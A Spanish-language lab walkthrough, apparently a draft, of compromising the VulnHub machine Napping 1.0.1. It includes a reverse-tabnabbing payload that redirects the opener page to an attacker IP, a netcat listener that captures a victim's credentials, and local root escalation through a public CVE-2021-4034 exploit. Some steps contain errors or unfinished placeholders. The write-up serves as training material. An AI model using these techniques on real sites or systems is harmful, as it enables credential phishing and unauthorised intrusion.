NAPPING: 1.0.1

1. Búsqueda y descarga

Buscamos la máquina que queramos vulnerar en vunhulb, en este caso la napping 1.0.1. Tras encontrarla la descargamos y la importamos a la máquina virtual, en este caso estamos usando la máquina virtual VM virtualBox.

Abrimos la máquina virtual y le damos a importar, buscamos donde hemos descargado la máquina virtual y la importamos, esto tardará unos segundos. Tras esto antes de iniciarla es importante que configuremos unos parámetros para que la máquina funcione perfectamente.

- Nos vamos a la configuración de esta máquina al apartado de red, y cambiamos la parte de “Conectado a:” de NAT, a Adaptador puente.
- En esta misma pestaña de red, en el apartado de advanced en la parte de “Modo promiscuo:” pasamos de denegar, a permitir todo.

¿Por qué hemos cambiado el tipo de red? Por que si dejamos NAP, la máquina virtual no sería visible desde la red local, al cambiarla a adaptador puente permite que la máquina obtenga su propia IP para interactuar con esta.

¿Por qué hemos cambiado el modo advanced? Esto se hace ya que si no la máquina no va a procesar paquetes externos, solo procesaría los que sean destinados a su dirección MAC. Esto se hace para que se pueda analizar el tráfico de la red, o simular ataques a la máquina.

Tras haber hecho los pasos anteriores y comprendido el porqué de esos cambios, iniciamos la máquina descargada y configurada.
Posteriormente iniciamos la máquina atacante, es decir, la máquina desde donde vamos a intentar vulnerar nuestra máquina napping. Esta máquina atacante es Kali-lunix, y la iniciamos desde VMware.

2. Antes de comenzar

Vamos a dejar nuestro espacio de trabajo lo más limpio posible, así que por si hemos ejecutado algo anterior que puede interferir.

- Nos movemos al directorio escritorio para poder tener accesible todo lo que necesitemos. Esto se hace mediante el comando “cd desktop”
- Tras situarnos en este lugar eliminamos todo lo que podamos haber creado en un intento de vulnerar otra máquina. Esto se hace mediante el comando “rm -r *”

Tras limpiarlo lo idóneo es crear un nuevo directorio con el nombre de la máquina para ir dejando ahí todos los recursos que vayamos a usar. Esto se hace gracias al comando “mkdir napping”. Después de crearlo nos movemos a ese directorio con el comando “cd napping”.

3. Primera fase

La primera fase para vulnerar una máquina virtual consiste en ver si la máquina es accesible en nuestra red tras iniciarla ya que a veces puede haber fallos. Esto lo hacemos mediante el comando “arp-scan -I eth0 –localnet”. En este comando hay un detalle importante que es el “eth0”, esto lo ponemos ya que si ejecutamos el comando “ifconfig”, vemos que en la interfaz eth0 está nuestra dirección IP, por eso debemos ejecutar el comando con esa pequeña modificación.

Que puede suceder cuando ejecutemos el comando, que no muestre nada, tras unos intentos lo que nos puede indicar que la máquina a la que queremos atacar no se ha conectado bien, en este caso lo que hay que hacer es reiniciar la máquina, en la barra de opciones selecciona “Máquina” y le aplicamos un reinicio. Si esto no funciona podemos cambiar uno de los parámetros de configuración del principio, en concreto el de advanced, poniendo en vez de permitir en todos, permitir MVs. Para hacer esto hay que apagar la máquina primero. Con esto permitimos únicamente máquinas virtuales para acceder a nuestra máquina que va a ser atacada.

Tras cambiar esto al ejecutar el comando arp-scan mencionado anteriormente veremos cómo aparece la dirección de nuestra máquina. Es importante apuntar esta dirección en algún lado.

Con la dirección de la máquina apuntada ejecutamos el comando “nmap -p- –open -sS -sC -sV –min-rate 5000 -vvv -n -Pn dirección -oN fichero”.

- El parámetro -p: puertos abiertos.
- El parámetro –open: que de verdad estén abiertos.
- El parámetro -sS: Para que el escaneo no sea muy detectable.
- El parámetro -sC: Conjunto de scripts de nmap para que nos busque más información.
- El parámetro -sV: versión de cada entorno de los puertos.
- El parámetro -min-rate: Para que aumente la velocidad.
- El parámetro 5000: Velocidad del min-rate.
- El parámetro -vvv: Se conoce como triple vervose, para que a medida que me encuentre algo me lo reporte.
- El parámetro -n: Que no ejecute resolución DNS para ahorrar tiempo.
- El parámetro -Pn: Para que no haga ping a la hora de buscar información, así evitamos que bloquee trazas icmp.
- El parámetro -oN: Guardar los datos del escaneo en el archivo fichero (se le puede poner otro nombre).

Al obtener el reporte con toda la información de los puertos, en esta máquina vemos como nos salen estos puertos: el 22 con una máquina Ubuntu de protocolo SSH muy actualizada, con lo cual la intrusión dificilmente sera por este puerto y el 80 con una web apache corriendo en protocolo http. Como del resto del reporte no nos otorga gran información lo que hacemos es mediante el buscador, firefox, chrome… ponemos la ip a ver que hay en la web. Podemos tener un fallo de proxy al ejecutar la web por que en otra máquina hemos necesitado cambiar los parámetros, para solucionarlo vamos a configuración=>conection seting=>marcamos el use system proxy setings.

Tras solucionar esto vemos que la página tiene un login básico, para introducir un username la password y darle a login, también tiene un apartado para crearte una cuenta. Como de aquí no podemos sacar mucha información volvemos a la terminal de linux. En esta ejecutamos el comando “whatweb dirección”, para poder ejecutar este comando previamente tenemos que descargar una herramienta de github. Para ello tendremos que tener instalados ruby y git, ruby por que la herramienta está escrita en este lenguaje, y git para poder descargarnos la herramienta.

1. sudo apt install git ruby
2. git clone https://github.com/urbanadventurer/WhatWeb.git
3. cd WhatWeb
4. sudo ruby setup.rb

Tras hacer estos pasos tendremos ya operativo el comando “whatweb direccion”, algunas de sus variantes son:

- Escaneo básico: whatweb direccion
- Más detalles: whatweb -v direccion
- Escanear múltiples sitios desde un archivo: whatweb -i sitios.txt

Al ejecutarlo vemos que esta página en concreto usa: apache, html5, bootstrap, httpserver… No nos dice nada especial por lo que inspeccionamos la web desde el navegador para ver si hay alguna falla en el código, en este caso no vemos nada tampoco. (HABRÍA QUE VER EN QUÉ CASOS SI HAY ALGO Y PONERLO)

Podemos seguir investigando sobre esta página para hacer una fase de escaneo y ver si hay alguna otra falla. En este caso usamos el comando “dirb direccion”. Para usar este comando tenemos que tener instalado dirb, al igual que el ultimo comando necesitamos git, para clonar el repositorio de dirb en nuestro entorno. para eso seguimos estos pasos:

1. sudo apt install dirb.
2. git clone https://github.com/v0re/dirb.git
3. cd dirb
4. make

Para no tener que navegar a este directorio para ejecutar el comando podemos añadirlo al paht, con moverlo a /usr/local/bin con el comando export PATH=”$PATH:4~/direccion de dirb”, importante este comando se debe ejecutar desde el directorio a donde lo queramos mover.

Tras ejecutarlo vemos que nos salen dos urls, lo logico es que para algunas necesites permisos pero aun asi probamos a acceder desde el buscador, la primera de /index.php nos lleva a la misma página donde estábamos, la segunda /server-status, nos dice que no tenemos permisos para acceder a ella.

Tras no obtener nada del comando dirb, podemos probar a intentar hacer una SQL Injection a los campos del login (PONER SQL INJECTIONS COMUNES PARA PROBAR). Esto no da el resultado esperado así que continuamos probando.

Como hemos visto antes que en la pagina te deja crearte un usuario vamos a crearnos un usuario para ver que hay más allá del login, nos creamos un user con los parámetros que queramos, y al entrar vemos que es otra ruta distinta, esta no nos la había dado el comando dirb, así que probamos a hacer FUZZING (EXPLICAR QUÉ ES ESTO), y ejecutamos el comando dirb, no nos da ningún resultado aparente. Por lo que toca seguir probando.

4. Segunda fase búsqueda del tipo de intrusión.

Se prueba un crosaid-request-forgery (ns si se escribe así). En que consiste esto, al tener dentro de la página un apartado de reset password, vamos a comprobar si tenemos que poner la anterior para hacer una nueva, si no es necesario poder la anterior significa que mediante unos ajustes podemos cambiar la contraseña de otro user para entrar como ese usuario.
Para ver si este método es viable usamos una aplicación llamada burpsuite (PONER COMO SE INSTALA, PARA QUE ES ETC (PUEDE SER MEJOR FOXYPROXY)), (Es un proxy de interceptacion, esta entre el navegador y nuestra maquina, para interceptar las comunicaciones) a la vez para que funcione correctamente tenemos que ir a settings del navegador para poder permitir que esta aplicación esté a la escuchar.

Este interceptor lo usaremos para ver qué petición se hace a la hora de cambiar la password en la web. Con los parámetros que intercepta podemos ver que es un método POST, asi que vamos a probar a cambiarlo a GET (con la herramienta), al cambiarlo nos da un enlace =>
la url de la maquina +/reset-password.php?new_passwaord=”nuestra contraseña”&confirmpassword=”nuestra contraseña”
Este enlace si se lo pasamos a una persona que ya esté dada de alta en la web con el simple hecho de hacer clic ya le cambiaría su contraseña.
En este caso para ver si es vulnerable la página por este método probamos a poner el enlace en nuestro navegador y ver si cambia nuestra contraseña, para eso primero ponemos el enlace en el navegador y tras eso cerramos sesión y probamos la nueva contraseña, vemos que en este caso no ha cambiado la contraseña por lo que la pagina no es vulnerable por ahi.

Como no es vulnerable por lo anterior vemos si hay algo más en la página que pueda ser vulnerable, y nos fijamos en el textbox donde te deja introducir una url para “visitarla”, al poner una url cualquiera como https://ai.com, vemos como el código fuente de la página inspeccionando la página de nuevo cambia y añade un nuevo <p>, si nos fijamos este nuevo <p> tiene u <href> con una atributo que es vulnerable el target=’_blank’. Esto es vulnerable ya que al encontrarse este atributo en una zona de la web donde puedes incorporar un enlace, esto puede provoca que puedas crear un link de Phishing, así si un usuario dentro de la aplicación cree que es un enlace de verdad pues se ha generado en la misma página y picha podemos llegar a provocar que se vulneren sus credenciales.

Una vez detectada la intrusión nos podemos informar un poco más de qué tipo de intrusión se trata mirando el google.

5. Tercera fase ataque.

Para este tipo de ataques vamos a necesitar crearnos dos ficheros, así que volvemos a la terminal y creamos el primer archivo con su código.

Ejecutamos en la terminal “nano payload.html”, y creamos el archivo por que html por lo mencionado anteriormente que vamos a crear una página dentro de la web para intentar hacer phishing.
Este archivo debe contener el siguiente código:

```
<html>
<script>
if(window.opener)
        window.opener.parent.location.replace(“http://+nuestraip + :puerto por donde recibimos el phishing simulado + /index.html”)
if(window.parent != window)
        window.opener.parent.location.replace(“http://+nuestraip + :puerto por donde recibimos el phishing simulado + /index.html”)
<script>
<html>
```

(PARA SABER TU IP CON IPCONFIG VALE Y LA VES PARA USARLA, COMO PUERTO PUEDES USAR EL 443, POR EJEMPLO)
Este código es así ya que lo que hace es simular un phishing usando nuestra ip para recuperar los datos, se pone “/index.html”, por que así es como se llama la página principal y así es como se va a llamar el otro archivo. Con o que ejecutamos el comando “nano index.html”, y en este archivo copiamos el código de la página.
Comprobamos que están los dos archivos mediante el comando “ls”, que lista los elementos del directorio.

El siguiente paso es simular una página web desde nuestra terminal para asi poder introducir la url en la textbox vista con anterioridad. Para ello debemos tener instalado python3, podemos comprobar si lo tenemos ya que la mayoría de entornos linux lo tienen con el comando python3 –version. Una vez que vemos que lo tenemos instalado ejecutamos el comando para desplegar una “web” falsa => python3 -m http.server 80 (con este comando lo lanzamos el localhost). Para comprobar que funciona podemos poner la url en el navegador y ver que nos lleva al index.html, ya que es el elemento por defecto que cargan las páginas web el index, la url para ver que todo está correcto es => “localhost:8080/index.html”.

Ahora antes de introducir la url, que no es la anterior, primero tenemos que activar la escucha del puerto 443 que es el que hemos puesto en nuestro archivo payload para escuchar la transmisión de datos. Esto lo hacemos con el comando “nc -nlvp 443”, este

comando usa una herramienta llamada netcat, que hay que instalar en nuestro dispositivo mediante el comando => “apt install netcat”. La parte del comando de -nlvp, se divide en:

- -n: para trabajar con direcciones IP
- -l: pone a nectcat en modo servidor para escuchar
- -v: nos da más información sobre lo que ocurre
- -p 443: especifica el puerto a escuchar.

También debemos comprobar que el puerto no esté en uso para ello podemos usar el comando lsof -i :443.
Tras iniciar el comando, ahora si debemos introducir la url de nuestra “web” en la texbox de la página, esta url es => “http://direccionIP+puerto donde está desplegado(en este caso el 80)+ /payload.html”; porque payload y no index porqué es donde tenemos la parte del codigo donde nos redirija a nuestro index creado haciendo creer que es el index de la página.
Al darle al botón submit, tendremos que esperar un poco para que en nuestra terminal nos aparezca algo sobre la intercepción de datos, en este caso nos dará una contraseña y un usuario.
Pero esta contraseña está en formato url, es decir aunque parezca una contraseña válida no lo es, para esto podemos usar la herramienta que hemos usado antes de burpsuite: pero en otro apartado diferente, el la barra de arriba tenemos la opcion decoder, vamos a esta y pegamos la contraseña, en la derecha hay un boton que pone decode as..; lo clicamos y le seleccionamos url, esto nos dará abajo la contraseña correcta. Con estas credenciales ya podemos entrar a la máquina que estamos atacando y ver las fallas que tiene por dentro.

6. Cuarta fase, vulnerabilidades dentro de la máquina.

Ya hemos obtenido las credenciales para entrar, username: daniel y password: XXX.
Con esto podemos entrar a la máquina con un ssh (EXPLICAR SSH), con el comando => daniel@”direccion de la máquina”, al darle a enter nos pedirá la password, la introducimos y ya podemos navegar por la máquina con los permisos que tiene este user.

Una vez dentro con el usuario podemos ver lo que nos permite hacer el usuario, primero comprobamos que seamos daniel, con el comando whoami (EXPLICAR COMANDO). Una vez sabemos que estamos bien podemos probar a ejecutar sudo -l (EXPLICAR COMANDO); para ver los permisos que tiene, y vemos que no puede usar sudo en la máquina napping. Por otro lado podemos ver los directorios con ls, por si hubiera algo interesante, pero se ve que no. Podemos probar también con ls -la para ver archivos ocultos y vemos que no hay nada vulnerable.

Vamos a probar con la herramienta, linux-exploit-suggester, esta herramienta va a hacer una busqueda automática para el escalado de privilegios. Como sabemos que tenemos conexiona internet desde la máquina podemos ejecutar el git clone, como hemos hecho anteriormente, pero esta vez en la máquina tal cual, “https://github.com/The-Z-Labs/linux-exploit-suggester.git”. Tras hacer esto podemos ir al directorio donde esta la herramienta y ejecutarla, si estamos en el directorio principal podemos usar ls para ver si esta, y luego un cd linux-exploit-suggester/ para acceder al directorio. Una vez dentro podemos darle mas

permisos al script, con el comando chmod 777 linux-exploit-suggester (EXPLICAR COMANDO). Por otro lado para ejecutar el script que tenemos usamos “./linux-exploit-suggester.sh”, nos hace un escaneo automático de los fallos de seguridad que nos van a permitir escalar privilegios.
Tras el escaneo vemos varios fallos, lo que hay que hacer es mirar si el fallo coincide con nuestra máquina, esta herramienta nos clasifica los fallos diciendo la probabilidad, siguiendo esto podemos coger el codigo que sera parecido a “CVE-2021-4034”, y si lo pegamos en cualquier buscador y le añadimos github, nos llevará a una herramienta que explota el fallo, si leemos la descripción de esta herramienta podemos ver si va a funcionar o no, por ejemplo hay una que explota la versión de sudo, podemos ver si es el caso, que no lo es.

En este caso el fallo es el “CVE-2021-4034”, tras ir a github y leer la descripción vemos que es viable. Lo importamos con git clone “https://github.com/arthepsy/CVE-2021-4034.git”, y vamos a ese directorio con cd “CVE-2021-4034”. Una vez dentro tienes que ejecutar make, como se dice en la descripción en github y ejecutamos ./cve-2021-4034, y nos redirige automáticamente al usuario root, así que ya tenemos todos los permisos para movernos por la máquina.

Para encontrar la bandera, que es el objetivo a encontrar en cada máquina, vamos viendo en cada fichero que hay si la encontramos, para ello podemos usar el comando cat “nombre del archivo”, en este caso no hay nada en los archivos pero vemos que está corriendo un mysql, con lo que accedemos a él. Para acceder al mysql, lo hacemos con las credenciales que hemos sacado del archivo “del_links.py”, ejecutamos el comando => mysql -u adrian -p (EXPLICAR COMANDO), nos pedirá la password, la pegamos y vamos buscando la flag por las tablas de la bbdd.
Para ver las bbdd usamos show databases, para entrar a una bbdd usamos use website, para acceder a las tablas usamos use websites, y para ver los datos podemos usar select * from users; Siguiendo los pasos anteriores nos lleva a la celda donde está la flag la cual es => “$2y$10$Gg1Yy0UUbr/a1hnL92MjKeyYu79p9wH1QyEoni3DwjOGXU%M8FpWy”